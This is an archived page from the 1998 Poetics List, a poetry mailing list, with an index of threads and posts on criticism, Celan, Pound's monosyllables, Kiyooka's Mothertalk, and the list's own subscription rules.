872. Karen Kelley — Re: acker/scalapino cont.
873. Joseph Lease — Re: Iraq and depression
874. Jordan Davis — give me your martha, your billy, your jorie masses
875. Don Byrd — Re: Poetry and Depression
876. P.Standard Schaefer — Re: query : Iraq
877. Lisa Samuels — Re: Poetry and Depression
878. Michael McColl — Re: Poetry and Depression
879. Annie Finch — writers&depression, & Graham
880. dbkk — (no subject)
881. david bromige — Iraq and depression
882. Steve Tills — Re: Poetry and Depression
883. Tim Wood — Re: Iraq and depression
884. Don Wellman — Re: Poetry and Depression
885. Poetics List — Irish Poetry Conference Announcement (fwrd)
886. Joe Amato/Kass Fleisher — pmc...
887. Joe Brennan — Re: Iraq and depression
888. Joe Ahearn — Re: Poetry and Depression
889. Joe Ahearn — Re: Iraq and depression
890. Daniel Zimmerman — Re: Iraq and depression
891. Karen Kelley — Re: Poetry and Depression
892. Michael McColl — Re: Poetry and Depression
893. maz881 — Re: poet-heroes, suicide and women's lot
894. Tom Beckett — Re: Acker/Scalapino
895. Joel Felix — For Ronald Johnson
896. Mark Weiss — Suicide
897. George Bowering — Re: Iraq and depression
898. Rodrigo Toscano — Re: Iraq and depression
899. Tom Beckett — Re: Iraq and depression

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900. Don Byrd — Re: Temporary canons
901. k. lederer — Queries again...
902. Joe Ahearn — Re: Suicide
903. david bromige — eliza mcgrand
904. Tom Beckett — back issue of The Difficulties

905. Henry Gould — Re: query : Iraq
906. sylvester pollet — Re: eliza mcgrand
907. W. Freind — Re: back issue of The Difficulties
908. Mark Prejsnar — Re: enough about Graham
909. Mark Wallace — Doug Henwood's WALL STREET
910. Mark Prejsnar — Re: Other stealth bombs?
911. daniel bouchard — Re: Iraq and depression
912. Gary Sullivan — Most Appalling Post of the Week
913. Mark Prejsnar — Re: poet-heroes, suicide and women's lot
914. Douglas Barbour — Re: Temporary canons
915. Mark Wallace — libraries with Amiri Baraka materials?
916. David Kellogg — Re: Temporary canons/New Poetry redux
917. Annie Finch — Flicks at Ficke
918. Mark Prejsnar — Re: Iraq and depression
919. Judy Roitman — Re: Poetry and Depression
920. Jeff Hansen — (no subject)
921. r.drake — despe rate to see my name up in lites!
922. David Golumbia — Re: Doug Henwood's WALL STREET
923. Mark Prejsnar — Re: Doug Henwood's WALL STREET
924. Judy Roitman — Re: Iraq and depression
925. Gary Sullivan — "The world is blood-hot and personal"
926. Mark Leahy — scalapino, art and poetry
927. Joe Amato/Kass Fleisher — Re: Temporary canons/New Poetry redux
928. Tom Beckett — Re: back issue of The Difficulties
929. David Zauhar — Stein in popculture, again
930. Mark Weiss — Re: poet-heroes, suicide and women's lot
931. Dale M Smith — despe rate to see my name up in lites!
932. sylvester pollet — Re: despe rate to see my name up in lites!
933. Christopher W. Alexander — business observer
934. Don Byrd — Re: Doug Henwood's WALL STREET
935. Hilton Manfred Obenzinger — Re: Iraq and depression
936. Keston Sutherland — Merry February
937. Laura Moriarty — Re: Acker/Scalapino
938. MAYHEW — Stein in pop culture
939. d powell — Re: Jorie Graham Experimental?
940. Danny Huppatz — Re: Acker/Scalapino
941. Schuchat Simon — Re: despe rate to see my name up in lites!
942. George Hartley — George Hartley address & #
943. Aviva Wesley Vogel — Re: writers&depression, & Graham
944. Safdie Joseph — Re: WALL STREET, Iraq, etc.
945. Pierre Joris — Re: three unrelated queries and a note on poetic depression
946. Stephen Cope — three unrelated queries and a note on poetic depression
947. Steve Shoemaker — Re: Doug Henwood's WALL STREET
948. Erin Moure — Re: Iraq

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949. groberts — Palm at the end of the Desert Storm
950. Susan Clark — missing person
951. Tom Beckett — Silliman Difficulties
952. rsillima — The Pillow Book
953. Tom Beckett — Re: Acker/Scalapino
954. Don Wellman — Re: three unrelated queries and a note on poetic depression
955. Burt Kimmelman — Re: The Pillow Book
956. Alan Myouka Sondheim — Forwarded mail.... NIKUKO EDUCATES
957. Joe Amato/Kass Fleisher — Re: Temporary canons/New Poetry redux
958. Jacques Debrot — Re: Lazer/experiment/tradition

959. Sylvester Pollet — Tagliabue Reading
960. david bromige — Blake's "London"
961. david bromige — oops on Blake's "London"
962. Christopher W. Alexander — (Fwd) call for subs
963. pritchpa — Re: Lazer/experiment/tradition
964. MAYHEW — Lazer/experiment/tradition
965. Harold Rhenisch — good-bye
966. Laura Moriarty — Smith & Pritchett
967. Burt Hatlen — Robert Duncan at the MLA
968. shemurph — Address Request
969. Joe Amato/Kass Fleisher — disturbing news...
970. Poetics List — Chloroform (announcement)
971. Rachel Levitsky — Re: Poetry and Depression
972. charssmith — Re: Palm at the end of the Desert Storm
973. Don Byrd — Re: GERRIT LANSING Greetings and Reading
974. William Burmeister Prod — Re: The Pillow Book
975. pritchpa — Re: Palm at the end of the Desert Storm
976. Tom Beckett — Vaudeville without Organs
977. Tom Beckett — scalapino/acker musicked
978. Aldon Nielsen — Re: the times of the hero
979. George Hartley — Re: Stein in pop culture
980. George Hartley — oops!
981. Aldon Nielsen — Re: the times of the hero
982. Aldon Nielsen — disturbing news
983. Karen Kelley — Re: The Pillow Book
984. Kenneth Goldsmith — UbuWeb Concrete, Visual, & Sound Poetry Update
985. Karen and Trevor — Erica Hunt

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986. dbkk — Retallack, Swensen, Retallack at SPT
987. Steve Tills — Re: Poetry and Depression
988. Susan Schultz — Re: Poetry and Depression
989. Tom Beckett — pillow book
990. Annie Finch — Graham review
991. Mark Prejsnar — slaughter under the palms
992. Judy Roitman — Re: disturbing news
993. Judy Roitman — Re: Poetry and Depression
994. sylvester pollet — Henny Youngman
995. MAYHEW — Youngman and a query
996. Annie Finch — ALERT - Petition to save Endangered Species!
997. George Thompson — Re: Youngman and a query
998. Tom Beckett — Re: Henny Youngman
999. Randy Prunty — Re: dichten
1000. David R. Israel — poets-in-residence
1001. Steve Tills — Re: Poetry and Depression
1002. Pritchett,Patrick — Re: Youngman and a query
1003. Dale M Smith — Youngman and a query
1004. MAYHEW — dichten condensare
1005. Henry Gould — Re: Youngman and a query
1006. Michael Magee — Re: Henny Youngman
1007. Pritchett,Patrick — Re: Youngman and a query
1008. Mark Prejsnar — Re: poets-in-residence
1009. Mark Prejsnar — Re: Pound and a quandry
1010. Gwyn McVay — Re: Youngman and a query
1011. sylvester pollet — Re: dichten condensare
1012. Steve Tills — Farmer, Bromige, Gizzi at Cinnabar, March 9th

1013. david bromige — Dichten Condensare
1014. laura and jeff — hello
1015. david bromige — Dichten Condensare, chap.II
1016. George Thompson — Re: Dichten Condensare
1017. david bromige — ep's frigidaire
1018. Don Wellman — Re: Youngman and a query
1019. Safdie Joseph — Re: Query

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1020. Schuchat Simon — Re: ep's frigidaire
1021. Dean A. Brink — Interpoetics - Call for submissions
1022. Michel Delville — Pound: dichten = condensare?
1023. Tom Beckett — pound
1024. henry — Re: Pound: dichten = condensare?
1025. Pat Boran — Re: poets-in-residence
1026. Tom Beckett — Re: poets-in-residence
1027. Tom Beckett — query
1028. Hilton Manfred Obenzinger — Re: poets-in-residence
1029. William Burmeister Prod — Re: Pound: dichten = condensare?
1030. david bromige — Dicht-ung- = condensare
1031. MAYHEW — take my poetics, please
1032. Aldon Nielsen — current reading
1033. Christina Fairbank Chirot — Re: Dicht-ung- = condensare
1034. Sylvester Pollet — Re: Dicht-ung- = condensare
1035. Poetics List Administration — Re: Pound: dichten = condensare?
1036. Joe Amato/Kass Fleisher — Re: current reading
1037. Joe Amato/Kass Fleisher — disturbing news
1038. Maria Damon — Re: depression,suicide
1039. Maria Damon — Re: The Pillow Book
1040. henry gould — condens.
1041. Maria Damon — Re: three unrelated queries and a note on poetic depression

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1042. Miekal And — +db
1043. Miekal And — today's pangram
1044. Miekal And — read anagram
1045. Douglas — new Sun & Moon Press titles
1046. Burt Kimmelman — Re: The Pillow Book
1047. TBeck131 — Re: +db
1048. Peter Balestrieri — Please SEND for ME Now!
1049. Laura Moriarty — Re: +db +lc +je
1050. Joe Amato/Kass Fleisher — begging yr pardons...
1051. Maria Damon — YO kristin prevallet, or, address query
1052. Keston Sutherland — bit/scrap
1053. Steve Tills — Re: +db
1054. Miekal And — tomorrow's anagram
1055. Christina Fairbank Chirot — Re: today's anagram
1056. Miekal And — Authorized
1057. Michael Heller — Re: Pound and ideograms
1058. TBeck131 — Re: +db +lc +je
1059. CharSSmith — Re: Susan Howe
1060. ScoutEW — Re: today's anagram/tagstagstags
1061. TBeck131 — single author issues
1062. Steve Tills — Re: single author issues
1063. CharSSmith — Re: single author issues
1064. Michael J. Kelleher — Re: single author issues
1065. TBeck131 — Re: single author issues

1066. robert drake — Re: today's anagram/tagstagstags
1067. CharSSmith — Re: single author issues, ps
1068. Schuchat Simon — Re: single author issues
1069. Karen Kelley — Pillow Book
1070. Gabriel Gudding — Re: single author issues & SYC REV
1071. Tosh — Printers?
1072. Karen Kelley — sp?
1073. David Zauhar — You Too Can Edit a LitMag (or can you?)
1074. Laura Moriarty — Re: single author issues
1075. Steven Marks — Re: Printers?
1076. Steven Marks — Re: You Too Can Edit a LitMag (or can you?)

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1077. TBeck131 — again with the single author issues already
1078. Joel Kuszai — Re: single author issues
1079. Michel Delville — Pound's Dichtung
1080. Bob Grumman — Re: single author issues
1081. George Thompson — Re: Pound's Dichtung
1082. Brian Clements — Re: Printers?
1083. TBeck131 — more on mags,etc.
1084. Miekal And — this is the hour of the web
1085. Miekal And — Re: Critical issues
1086. Miekal And — The Critical Issue
1087. rsillima — Department Stores & Poets
1088. Douglas — Re: Printers?
1089. rsillima — Critical issues
1090. Joel Kuszai — Re: Critical issues
1091. Eryque Gleason — National Adjunct Congress in NYC (fwd)
1092. Michael J. Kelleher — Re: You Too Can Edit a LitMag (or can you?)
1093. Maria Damon — Re: more on mags,etc.
1094. Bob Grumman — Re: Critical issues
1095. Mark Weiss — Re: Printers?
1096. Judy Roitman — Ko Un
1097. louis stroffolino — QUERIES
1098. Hilton Manfred Obenzinger — Re: Department Stores & Poets
1099. Hilton Manfred Obenzinger — Re: Department Stores & Poets
1100. Laura Moriarty — Re: Critical issues
1101. TBeck131 — Re: Critical issues
1102. Steve Tills — Re: The Critical Issue
1103. Joe Ahearn — call for submissions
1104. Joel Kuszai — critical issues/what do we do
1105. TBeck131 — smack
1106. TBeck131 — Re: this is the hour of the web
1107. sylvester pollet — Re: You Too Can Edit a LitMag (or can you?)
1108. sylvester pollet — Re: You Too Can Edit a LitMag (or can you?)
1109. Bob Grumman — Re: critical issues/what do we do
1110. Aldon Nielsen — shingle author tissues
1111. Michael J. Kelleher — e-(name of topic here)
1112. Steven Marks — Re: Printers?
1113. Dean Taciuch — web and various ways
1114. Scott Pound — Re: Authorized

1. Charles Weigl
Re: I, Nikuko, am Listening to Buffalo Daughter
Sat 31 Jan 1998

nikuko:

brush your teeth, dr. mooooog.

yours,

charles

↑ Index

2. George Bowering
Re: As-Am poetics
Sun 1 Feb 1998

Roy Kiyooka's _Mothertalk_, edited by Daphne marlatt, is indeed published by NeWest. #201, 8540--109th Street, Edmonton, Alberta, T6G 1E6.

It's $16.95 Cdn.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

3. bertha
DEAD WOMEN POETS OF NYC & NYSTATE
Sun 1 Feb 1998

I'm working on a project involving dead women poets of NYC and NYState and would appreciate any names, locales, works, etc. (they don't all have to be Elizabeth Bishop & Marianne Moore). Reply can be sent to UB poetics or [redacted]. Thanks.

Bertha Rogers
Editor, Bright Hill Press

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4. Pierre Joris
Re: Indie Critics
Sun 1 Feb 1998

Henry Gould wrote:

> *.... I would think you'd*
> *be looking for an indi critic too - somebody with taste, judgement,*
> *freedom, and an artistic instinct.*

I was going to rib you: how can someone with taste, judgment, freedom and an artistic instinct be independent? The deck's loaded! But then I remembered that we are family -par-alliance -- your Mandelstam being brother to my Celan, the poet who has been riding me for 30 years now & who's work gives a yardstick measure re poems-vs.-gab: Celan left slightly under a 1000 poems (oh, let's be pedantic: 974 exactly) while the Collected Prose (2 speeches/poetic statements, an early intro to a painter, a philosophical fiction & a few very small statements in answer to queries) comes to 55 pages -- if you use a largish font. There is also some 1000 pages of poetry translated into German from half a dozen
languages: this work and the choice of poets PC chose to translate I take as a more real critical evaluation of poetry thna any number of crit-gab tomes. And, btw, it is always in Celan's translation that I read Mandelstam, not having Russian. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

5. Pierre Joris
Re: snip
Sun 1 Feb 1998

k. lederer wrote:

> *It's funny--*
>
> *My father always told me that "the best work" in English is often*

> *surprisingly full of one-syllable words--Shakespeare, Dickinson, Whitman, &&&. I wonder with writing like this (which I like)--what to make of that opinion--I suppose that "innovative" methodologies in poetry have basically razed all notions of key poetic strategies--razed, theoretically, the notion of "great works"--*

Katy -- much of that thinking goes back to Pound, I believe, trying in the early part of the century to clean out the Augian stables of Victorian/ Edwardian poetry &
their superabundance of mellifluous multisyllabic latinate words by replacing them
with sharp brief anglo-saxon ones. The revenge of the latins of course came in the
seventies when frog-theory hopped the Atlantic Pond and nested on the lotus leaves
of US academia. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

6. henry gould
Re: Indie Critics
Sun 1 Feb 1998

Mandelstam said he wrote not for his contemporaries but for the unknown interlocutor of the future; I think you could say the same for Celan. They wrote poetry for Poetry. I can imagine a person out there who writes criticism for Poetry. The original framers of a subjective set of standards (OM's, Celan's yardstick) may only be ghosts; but this imaginary critic will understand Criticism itself as a genre with certain laws of its own, the first being "keep your distance".

I realize my past few posts on this thread have set up an unrealistic ideal, and that poets have every right to be critics too, and scholars will probably write the best reviews, and critics have every natural right to review the work that

really GRABS them. But at the core should be the fresh air of independent judgement, or critical self-respect. We should listen for those chimes of freedom & try to bring them forward, rather than march on in the endless grind of marginal/mainstream, tradition/experiment, my group/their group, your hustle/my failure, my publish/your tenure, tendentious business as usual. Criticism can be an art form too, if and when it's brave enough to look at poetry as something other than a career or a kind of translated politics. "Man shall not live by bread alone but by every word that proceeds from the mouth of God." - Henry Gould

↑ Index

7. Joe Brennan
Re: Indie Critics
Sun 1 Feb 1998

In a message dated 98-02-01 09:54:00 EST, you write:

<< But at the core should be the fresh air of independent judgement, or critical self-respect. We should listen for those chimes of freedom & try to bring them forward, rather than march on in the endless grind of marginal/mainstream, tradition/experiment, my group/their group, your hustle/my failure, my publish/your tenure, tendentious business as usual. Criticism can be an art form too, if and when it's brave enough to look at poetry as something other than a career or a kind of translated politics. "Man shall not live by bread alone but by every word that proceeds from the mouth of God." >>

Henry, I couldn't agree with you more. However, the program you sketch out is as political as it gets; the difficulties arise, as I'm sure you know, whenever one attempts to determine which god is saying what.

Joe Brennan

↑ Index

8. Poetics List
Welcome Message (FYI)
Sun 1 Feb 1998

Rev. 2-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
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5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein (▇▇▇▇▇▇▇▇), Loss PequeñoGlazier (▇▇▇▇▇▇▇), and Joel Kuszai (▇▇▇▇▇▇▇).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently almost 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **<color><param>ffff,0000,0000</param>We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

</color>

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at
[redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any

subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name

review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

9. Douglas Barbour
*Re: Kiyooka's _Mothertalk_*
Sun 1 Feb 1998

Roy Kiyooka's _Mothertalk: Life Stories of Mary Kiyoshi Kiyooka_ is available from NeWest Press (we were very proud to publish this stunning & fascinating book). In the US, order from General Distribution Services Inc. Toll Free: [redacted]; fax: [redacted]; fax for ordering: [redacted]. $16.95.

I cant wait to get my hands on _Pacific Windows_!

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Another point the review makes is that Motion's earlier book on Philip Larkin did not idealize Larkin BECAUSE Motion knew him personally. That adds a 2nd layer of difficulty to my proposal.

But I don't think you have to worry about the inescapable politics of subjectivity or objectivity. You just have to believe in the thin silver rope that dangles down from Poetry to the indie-critic. And of course, the only God of Poetry is Keats's Psyche. (I heard she joined the CP in 1924, was ostracized for "unwise associations" in 1926, fled to Zembla in 1928, escaped with Kinbote (Charles II of Zembla) in 1930, became a New Critic in 1932, became an Old Critic in 1934, converted to Catholicism in 1936, went to Poland in 1938, converted to Judaism in 1940, lived in Cracow until...) and lives under a pseudonym - Marie Czinski - in Chicago to this day, where she runs a day care center and writes for the Drawer. - Henry Gould

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11. David Zauhar

CFP: Hybridity & Asian-American Lit (3/1, MLA) (fwd)

Sun 1 Feb 1998

Thopught this might be of interest, given the current As-Am thread.

DZ
---------- Forwarded message ----------
Date: Sat, 31 Jan 1998 23:18:09 -0500 (EST)
From: John Joseph Su <[redacted]>
To: [redacted]
Subject: CFP: Hybridity & Asian-American Lit (3/1, MLA)

CFP: " ASIAN AMERICAN LITERATURE AND THE CONSEQUENCES OF HYBRIDITY"
I'm putting together a panel proposal for the 1988
MLA and am seeking submissions.

How does contemporary Asian American literature complicate, revise, and offer alternatives to the valorization of cultural hybridity by literary and social theorists? Send proposals with brief vita by March 1 to John J. Su, department of English, university of Michigan, 3187 Angell Hall, Ann Arbor, Michigan 48109; or e-mail to [redacted]

==========
From the Literary Calls for Papers Mailing List
[redacted]
Full Information at

http://www.english.upenn.edu/CFP/
or write Jack Lynch: [redacted]

==========

↑ Index

12. Tom Orange

snip

Sun 1 Feb 1998

---

terrific flurry of writing posted by names that are all new to me on this list. welcome! and keep posting! the sheer quantity of posts, plus the intensity of recent activities here in loveley london ontario has forced me into lurkdom. we had a reading monday night ("poetry in lotion" -- kevin hehir has his series up and running here again), roy miki and ashok mathur joined frank davey et al. were here for a tribute to roy kiyooka on tuesday, then we had a weekend of readings/performances here this weekend: on friday, terri rowan from trent university, susan elmslie and masarah vaneyck from mcgill, theresa smalec from calgary/london, peter jaeger read from strech conflates (new out from tailspin; review forthcoming), and i gave my first reading yesterday in almost a year, from which i'm still buzzin...

katy lederer (welcome to you also! enjoy yr posts...) wrote:

"My father always told me that "the best work" in English is often surprisingly full of one-syllable words--Shakespeare, Dickinson, Whitman, &&&. I wonder with writing like this (which I like)--what to make of that opinion--I suppose that "innovative" methodologies in poetry have basically razed all notions of key poetic strategies--razed, theoretically, the notion of "great works"--"

this one knocked me off my feet when i first read it a few weeks ago, with its profusion of monosyllabs peppered with the occasional two-syllab give this stuff the drive and motility of a max roach drum solo (and yes they say coolidge was a jazz drummer) -- i absolutely HAD to read it aloud (try it!):

"tends loom dial still around on it saying from turn means down forth
the fewer this miss its thing back in a matter due a dial
an it per pass upward forth see from post at bend on
a miss dial a long but close light means those below will like twins
around those then just back away still dial forth
as like tends"

[from "polaroid," in th american tree p. 249]

raze away,
tom orange

↑ Index

13. David Zauhar
Re: CFP: Hybridity & Asian-American Lit (3/1, MLA) (fwd)
Sun 1 Feb 1998

> *Thopught this might be of interest, given the current As-Am thread.*
>
> *DZ*

By the way, that first word isn't a typo. It's just that most of the discourse on this list has been awfully transparent lately. I was only trying to call attention to the materiality of language. Or something like htat.

dz

↑ Index

14. rsillima
References
Sun 1 Feb 1998

Don't you hate it when somebody says something vaguely provocative (or provocatively vague) and then just leaves? Well, an hour after my last post to the list I was ordered "to hospital" and have just returned, stuffed with strange new antibiotics and a couple of days of breathing oxygen and many, many exotic tests (all of which were negative, happily). There were just under 80 email messages awaiting me, mostly because the digest option of Poetics telescoped 150 into three.

Matt, Rod, et al, I may have over or mal-construed Jeff Derksen in my previous message but even at the talk I was trying to articulate in my own words what I took as the gist of his argument, where I am no doubt also doing some appropriations.

Tom, Kent, references:

Steven Johnson, Interface Culture: How New Technlogy Transforms the Way We Create and Communicate (Harper/Edge, 1997). Johnson went to Brown where he studied semiotics, then Columbia to study lit. Feed is at either www.feed.com or www.feedmag.com.

Manuel Castells is by training an urban planner (folks of a certain age in SF will recall that I brought him to Langton to talk during the period when he was advising what was then a new socialist regime in his native Spain). There's a big 3 volume series in progress (two books published), called The Information Age: Economy, Society and Culture. Vol. 1 The Rise of the Network Society. Vol. 2 The Power of Identity. Both available from Blackwell.

I was reading around Absence Sensorium today and agree with Tom totally about Dan.

Ron

↑ Index

15. **Maria Damon**
Re: missing generation
Sun 1 Feb 1998

At 9:01 AM -0800 1/31/98, Rachel Loden wrote:
>Thanks, Kevin K., Chris S., Laura M. and others for terrific posts. In
>the early seventies I dropped out of a very active Berkeley reading and
>publishing scene in which I had been increasingly "successful." It
>seemed to me that in my milieu (with the important exceptions of Judy
>Grahn and Kathleen Fraser) people were repeating themselves, and I was
>irritated by the easy applause I was getting. I left the scene cold,
>continued to write, and didn't send work out for fifteen years (was
>probably also terrified by recognition, but that's another story). Soon
>after this departure, I ran into one of the avatars of Berkeley poetry
>of the time, a woman who has since gone on to become very famous for
>work I don't respect. As we picked up our daughters at daycare she
>asked me "So, have you RETIRED?" The edge of sarcasm was evident.
>
>But no--I hadn't retired. I didn't have words for what I HAD done, but
>it's clear now that turning my back was essential. At the time, all I
>could do was strap my daughter into her car seat and drive away.
>
>It's said that we're a nation of salesmen, and sometimes, even in the
>odd precincts of poetry, it's just not okay to stop selling.
>
>Rachel Loden

i'm very touched by this and other "personal" (but not creepily so, in my book) testimonials to one aspect of the fabric of the innner life vis a vis writing that gets ver short shrift on the list in general --the stories of silences, pains and struggles, material conditions (AIDS, childrearing, personal disappointments and losses, etc) that make the writing life not solely about "being productive" or being a good poet or a bad critic. gary s, i appreciate your question (what can i, maria, do to rectify the gender and race etc imbalance in the academy) but i must confess to having started a long post that got reactive and defensive, to the tune of "I'm dancing as fast as i can", and i can't do everything i'd like to do,

etc. so the martyry, victimy tone crept in, and that's another story. thanks rachel--md

↑ Index

16. **Maria Damon**
Re: Response to Maria's Question
Sun 1 Feb 1998

---

hi gary, here's the response i mentioned in my other post, cleaned up (i hope) and de-martyrized. xo, md

At 12:30 PM -0500 1/30/98, Gary Sullivan wrote:
>Hello, again, Maria:
>
>Many kind thanks for answering some of my questions. But it's really the last
>one that I think might be most relevant, so I'll re-ask it: Given what you &
>others have said w/respect to academia: What, specifically, now, could you
>ACTIVELY DO to help further nudge things forward, toward balance? Is there
a
>way you might be able to use, for instance, the Talisman anthology Dodie
>and/or
>Kevin mentioned (hi Kevin & Dodie!), like, create an event there at UMN to
>somewhat coincide w/its publication? (I realize it would be difficult to get
>something approved & planned for March or April.) I bet many of the
>academics &
>non-academics on this list would be willing to participate in that, or
>anything
>else for that matter. Though I agree with Henry Gould that the art-product, &
>significant advancements of same, is made manifest, largely, by the
>individual,
>I'm also intrigued by Don Byrd's take, similar to Henri Lefebvre's meditation
>on cities, which makes a distinction between "product" (the home-made) and
